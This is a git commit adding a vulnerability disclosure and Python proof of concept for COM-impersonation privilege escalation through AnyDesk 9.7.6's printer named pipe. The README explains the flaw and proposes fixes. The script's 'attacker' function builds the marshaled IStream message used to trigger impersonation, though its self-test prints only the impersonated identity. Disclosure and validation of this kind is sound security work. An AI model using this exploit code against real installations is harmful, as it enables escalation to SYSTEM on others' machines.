Upload files to "anydesk-printer-com-impersonation-poc"
This commit is contained in:
@@ -0,0 +1,109 @@
|
||||
# AnyDesk 9.7.6 Printer Pipe COM Impersonation PoC
|
||||
|
||||
This repository documents and validates a local privilege-escalation primitive identified in AnyDesk for Windows 9.7.6.
|
||||
|
||||
The issue is in the local printer IPC path. The service-side printer worker creates `\\.\pipe\adprinterpipe`, accepts a message containing attacker-controlled COM marshaling bytes, unmarshals an `IUnknown`, queries `IStream`, and calls `IStream::Read`. Because the process initializes COM with impersonation level `RPC_C_IMP_LEVEL_IMPERSONATE`, the attacker-controlled COM object can impersonate the AnyDesk process during the callback.
|
||||
|
||||
## Affected Target
|
||||
|
||||
- Product: AnyDesk for Windows
|
||||
- Version analyzed: 9.7.6
|
||||
- Release date observed from vendor changelog: 2026-06-15
|
||||
- Official download sample SHA256: `d83236fad1405ff369f16ad12b684a30177fe81c47c1f824f9fea6b74d64cc4a`
|
||||
- Runtime payload architecture: 32-bit Windows PE
|
||||
|
||||
## Impact
|
||||
|
||||
When AnyDesk is installed as a Windows service, the service install path uses `CreateServiceW` with `lpServiceStartName = NULL`, so Windows runs the service as LocalSystem by default. A low-privileged local user that reaches the printer pipe can provide a marshaled `IStream` and receive a COM callback from the AnyDesk process. During that callback, COM impersonation allows the attacker-side object to impersonate the caller.
|
||||
|
||||
The practical impact is local privilege escalation from a low-privileged local user to the AnyDesk service identity. In the default installed-service case, that identity is `NT AUTHORITY\SYSTEM`.
|
||||
|
||||
## Evidence Summary
|
||||
|
||||
The following locations were identified in the reconstructed 9.7.6 runtime image:
|
||||
|
||||
| Area | Evidence |
|
||||
| --- | --- |
|
||||
| Pipe creation | `FUN_0100f190` creates `\\.\pipe\adprinterpipe` with `CreateNamedPipeW` |
|
||||
| Pipe ACL | `0x100f206-0x100f229` builds `S-1-1-0`; `0x100f37b-0x100f38a` grants `GENERIC_ALL` |
|
||||
| Pipe worker | `FUN_0100ed60` starts the worker and dispatches reads |
|
||||
| Read boundary | `FUN_0100e9f0` reads up to `0x1000` bytes from the pipe |
|
||||
| COM unmarshaling | `FUN_0100e6e0` copies attacker bytes to an `HGLOBAL`, calls `CreateStreamOnHGlobal`, then `CoUnmarshalInterface` |
|
||||
| Interface callback | `FUN_0100e6e0` queries `IID_IStream`; `FUN_0100e520` calls `IStream::Read` |
|
||||
| COM security | `0xf71fef-0xf72005` calls `CoInitializeSecurity` with impersonation level `3` |
|
||||
| Service identity | `0xf6799e` calls `CreateServiceW` with a null service account argument |
|
||||
|
||||
## PoC Design
|
||||
|
||||
`poc.py` contains two validation paths:
|
||||
|
||||
- `analyze`: static marker check against an AnyDesk runtime PE.
|
||||
- `selftest`: local two-process harness that reproduces the same COM flow: pipe message, `CoUnmarshalInterface(IUnknown)`, `QueryInterface(IStream)`, and `IStream::Read`.
|
||||
|
||||
The self-test prints the identity impersonated by the attacker-controlled `IStream::Read` implementation. This validates the COM impersonation primitive without modifying AnyDesk or launching elevated commands.
|
||||
|
||||
## Requirements
|
||||
|
||||
- Python 3.10 or newer
|
||||
- Windows for `selftest`
|
||||
- `pywin32` for COM and named-pipe APIs
|
||||
|
||||
Install dependencies:
|
||||
|
||||
```powershell
|
||||
python -m pip install -r requirements.txt
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
Run the local COM impersonation self-test:
|
||||
|
||||
```powershell
|
||||
python poc.py selftest
|
||||
```
|
||||
|
||||
Expected output shape:
|
||||
|
||||
```text
|
||||
[attacker]
|
||||
PROBE_IMPERSONATED=DOMAIN\User
|
||||
[victim]
|
||||
VICTIM_READ_COMPLETE
|
||||
```
|
||||
|
||||
Run static marker analysis against a local AnyDesk runtime PE:
|
||||
|
||||
```powershell
|
||||
python poc.py analyze path\to\AnyDesk-runtime.exe
|
||||
```
|
||||
|
||||
Expected output shape:
|
||||
|
||||
```json
|
||||
{
|
||||
"markers": {
|
||||
"pipe_name_utf16": true,
|
||||
"iid_iunknown": true,
|
||||
"iid_istream": true,
|
||||
"co_unmarshal_import": true
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Root Cause
|
||||
|
||||
The IPC boundary trusts a pipe client enough to supply marshaled COM object data. COM unmarshaling can create a proxy to an attacker-controlled local COM server. Any method call on that proxy crosses back into attacker-controlled code. Since the AnyDesk process configures COM with impersonation enabled, the server side of that callback can impersonate the AnyDesk caller.
|
||||
|
||||
The pipe ACL expands the local attack surface by allowing `Everyone` access. The service identity then raises the impact because the installed service runs as LocalSystem by default.
|
||||
|
||||
## Fix Direction
|
||||
|
||||
- Do not accept marshaled COM interfaces from low-privileged pipe clients.
|
||||
- Replace the marshaled `IStream` handoff with a byte-oriented protocol owned by the service.
|
||||
- Restrict the pipe DACL to the exact intended service/user SID set.
|
||||
- If COM must remain, use a lower impersonation level and enforce caller identity checks before unmarshaling or invoking attacker-provided interfaces.
|
||||
- Add regression tests for pipe DACLs and COM security settings.
|
||||
|
||||
## Validation Status
|
||||
|
||||
The COM impersonation primitive is validated by the included harness. Static analysis ties the same primitive to the AnyDesk 9.7.6 printer pipe path. A live installed-service VM should be used for final vendor-grade confirmation of the `NT AUTHORITY\SYSTEM` identity in the real service context.
|
||||
@@ -0,0 +1,216 @@
|
||||
import argparse
|
||||
import ctypes
|
||||
import json
|
||||
import os
|
||||
import pathlib
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import uuid
|
||||
|
||||
|
||||
def utf16le(value):
|
||||
return value.encode("utf-16le")
|
||||
|
||||
|
||||
def analyze_binary(path):
|
||||
data = pathlib.Path(path).read_bytes()
|
||||
markers = {
|
||||
"pipe_name_utf16": utf16le(r"\\.\pipe\adprinterpipe") in data,
|
||||
"print_default_ascii": b"ad.security.print=true" in data,
|
||||
"service_mode_utf16": utf16le(" --service") in data,
|
||||
"iid_iunknown": bytes.fromhex("0000000000000000c000000000000046") in data,
|
||||
"iid_istream": bytes.fromhex("0c00000000000000c000000000000046") in data,
|
||||
"co_unmarshal_import": b"CoUnmarshalInterface" in data,
|
||||
"co_initialize_security_import": b"CoInitializeSecurity" in data,
|
||||
"create_named_pipe_import": b"CreateNamedPipeW" in data,
|
||||
"create_service_import": b"CreateServiceW" in data,
|
||||
}
|
||||
result = {
|
||||
"path": str(path),
|
||||
"size": len(data),
|
||||
"markers": markers,
|
||||
"matched": sum(1 for value in markers.values() if value),
|
||||
"total": len(markers),
|
||||
}
|
||||
print(json.dumps(result, indent=2))
|
||||
return 0 if result["matched"] >= 7 else 1
|
||||
|
||||
|
||||
def impersonated_user():
|
||||
import win32api
|
||||
import win32con
|
||||
import win32security
|
||||
|
||||
ole32 = ctypes.OleDLL("ole32")
|
||||
hr = ole32.CoImpersonateClient()
|
||||
if hr < 0:
|
||||
return f"CoImpersonateClient failed: 0x{ctypes.c_ulong(hr).value:08x}"
|
||||
try:
|
||||
token = win32security.OpenThreadToken(win32api.GetCurrentThread(), win32con.TOKEN_QUERY, True)
|
||||
user_sid, _ = win32security.GetTokenInformation(token, win32security.TokenUser)
|
||||
name, domain, _ = win32security.LookupAccountSid(None, user_sid)
|
||||
return f"{domain}\\{name}"
|
||||
finally:
|
||||
ole32.CoRevertToSelf()
|
||||
|
||||
|
||||
class ProbeStream:
|
||||
_com_interfaces_ = []
|
||||
_public_methods_ = [
|
||||
"Read",
|
||||
"Write",
|
||||
"Seek",
|
||||
"SetSize",
|
||||
"CopyTo",
|
||||
"Commit",
|
||||
"Revert",
|
||||
"LockRegion",
|
||||
"UnlockRegion",
|
||||
"Stat",
|
||||
"Clone",
|
||||
]
|
||||
|
||||
def Read(self, count):
|
||||
print(f"PROBE_IMPERSONATED={impersonated_user()}", flush=True)
|
||||
return b""
|
||||
|
||||
def Write(self, data):
|
||||
return len(data)
|
||||
|
||||
def Seek(self, move, origin):
|
||||
return 0
|
||||
|
||||
def SetSize(self, size):
|
||||
return None
|
||||
|
||||
def CopyTo(self, other, count):
|
||||
return (0, 0)
|
||||
|
||||
def Commit(self, flags):
|
||||
return None
|
||||
|
||||
def Revert(self):
|
||||
return None
|
||||
|
||||
def LockRegion(self, offset, count, lock_type):
|
||||
return None
|
||||
|
||||
def UnlockRegion(self, offset, count, lock_type):
|
||||
return None
|
||||
|
||||
def Stat(self, flags):
|
||||
return None
|
||||
|
||||
def Clone(self):
|
||||
return None
|
||||
|
||||
|
||||
def marshal_probe_stream():
|
||||
import pythoncom
|
||||
import win32com.server.util
|
||||
|
||||
pythoncom.CoInitialize()
|
||||
ProbeStream._com_interfaces_ = [pythoncom.IID_IStream]
|
||||
obj = win32com.server.util.wrap(ProbeStream(), pythoncom.IID_IStream)
|
||||
stream = pythoncom.CreateStreamOnHGlobal()
|
||||
pythoncom.CoMarshalInterface(stream, pythoncom.IID_IUnknown, obj, pythoncom.MSHCTX_LOCAL, pythoncom.MSHLFLAGS_NORMAL)
|
||||
size = stream.Seek(0, 1)
|
||||
stream.Seek(0, 0)
|
||||
return stream.Read(size), obj
|
||||
|
||||
|
||||
def attacker(pipe_name):
|
||||
import pythoncom
|
||||
import win32con
|
||||
import win32file
|
||||
|
||||
payload, keepalive = marshal_probe_stream()
|
||||
message = struct.pack("<IIB", 1, len(payload), 1) + payload
|
||||
handle = win32file.CreateFile(pipe_name, win32con.GENERIC_READ | win32con.GENERIC_WRITE, 0, None, win32con.OPEN_EXISTING, 0, None)
|
||||
try:
|
||||
win32file.WriteFile(handle, message)
|
||||
deadline = time.time() + 8
|
||||
while time.time() < deadline:
|
||||
pythoncom.PumpWaitingMessages()
|
||||
time.sleep(0.02)
|
||||
finally:
|
||||
keepalive = None
|
||||
win32file.CloseHandle(handle)
|
||||
|
||||
|
||||
def victim(pipe_name):
|
||||
import pywintypes
|
||||
import pythoncom
|
||||
import win32file
|
||||
import win32pipe
|
||||
|
||||
pythoncom.CoInitialize()
|
||||
pythoncom.CoInitializeSecurity(None, None, None, 0, 3, None, 0, None)
|
||||
pipe = win32pipe.CreateNamedPipe(pipe_name, 3, 0, 1, 0x1000, 0x1000, 15000, None)
|
||||
try:
|
||||
try:
|
||||
win32pipe.ConnectNamedPipe(pipe, None)
|
||||
except pywintypes.error as exc:
|
||||
if exc.winerror != 535:
|
||||
raise
|
||||
_, data = win32file.ReadFile(pipe, 0x1000)
|
||||
command, length = struct.unpack("<II", data[:8])
|
||||
payload = data[9 : 9 + length]
|
||||
if command != 1:
|
||||
raise RuntimeError(f"unexpected command {command}")
|
||||
stream = pythoncom.CreateStreamOnHGlobal()
|
||||
stream.Write(payload)
|
||||
stream.Seek(0, 0)
|
||||
unknown = pythoncom.CoUnmarshalInterface(stream, pythoncom.IID_IUnknown)
|
||||
istream = unknown.QueryInterface(pythoncom.IID_IStream)
|
||||
istream.Read(32)
|
||||
print("VICTIM_READ_COMPLETE", flush=True)
|
||||
finally:
|
||||
win32file.CloseHandle(pipe)
|
||||
|
||||
|
||||
def selftest():
|
||||
if os.name != "nt":
|
||||
print(json.dumps({"error": "selftest requires Windows"}, indent=2))
|
||||
return 2
|
||||
pipe_name = rf"\\.\pipe\ad_printer_com_probe_{uuid.uuid4().hex}"
|
||||
script = os.path.abspath(__file__)
|
||||
victim_proc = subprocess.Popen([sys.executable, script, "victim", pipe_name], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
|
||||
time.sleep(0.8)
|
||||
attacker_proc = subprocess.Popen([sys.executable, script, "attacker", pipe_name], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
|
||||
attacker_out, _ = attacker_proc.communicate(timeout=12)
|
||||
victim_out, _ = victim_proc.communicate(timeout=12)
|
||||
print("[attacker]")
|
||||
print(attacker_out.strip())
|
||||
print("[victim]")
|
||||
print(victim_out.strip())
|
||||
return attacker_proc.returncode or victim_proc.returncode
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser()
|
||||
sub = parser.add_subparsers(dest="mode", required=True)
|
||||
sub.add_parser("selftest")
|
||||
analyze = sub.add_parser("analyze")
|
||||
analyze.add_argument("binary")
|
||||
victim_parser = sub.add_parser("victim")
|
||||
victim_parser.add_argument("pipe")
|
||||
attacker_parser = sub.add_parser("attacker")
|
||||
attacker_parser.add_argument("pipe")
|
||||
args = parser.parse_args()
|
||||
if args.mode == "selftest":
|
||||
raise SystemExit(selftest())
|
||||
if args.mode == "analyze":
|
||||
raise SystemExit(analyze_binary(args.binary))
|
||||
if args.mode == "victim":
|
||||
victim(args.pipe)
|
||||
return
|
||||
if args.mode == "attacker":
|
||||
attacker(args.pipe)
|
||||
return
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1 @@
|
||||
pywin32>=306; platform_system=="Windows"
|
||||
Reference in New Issue
Block a user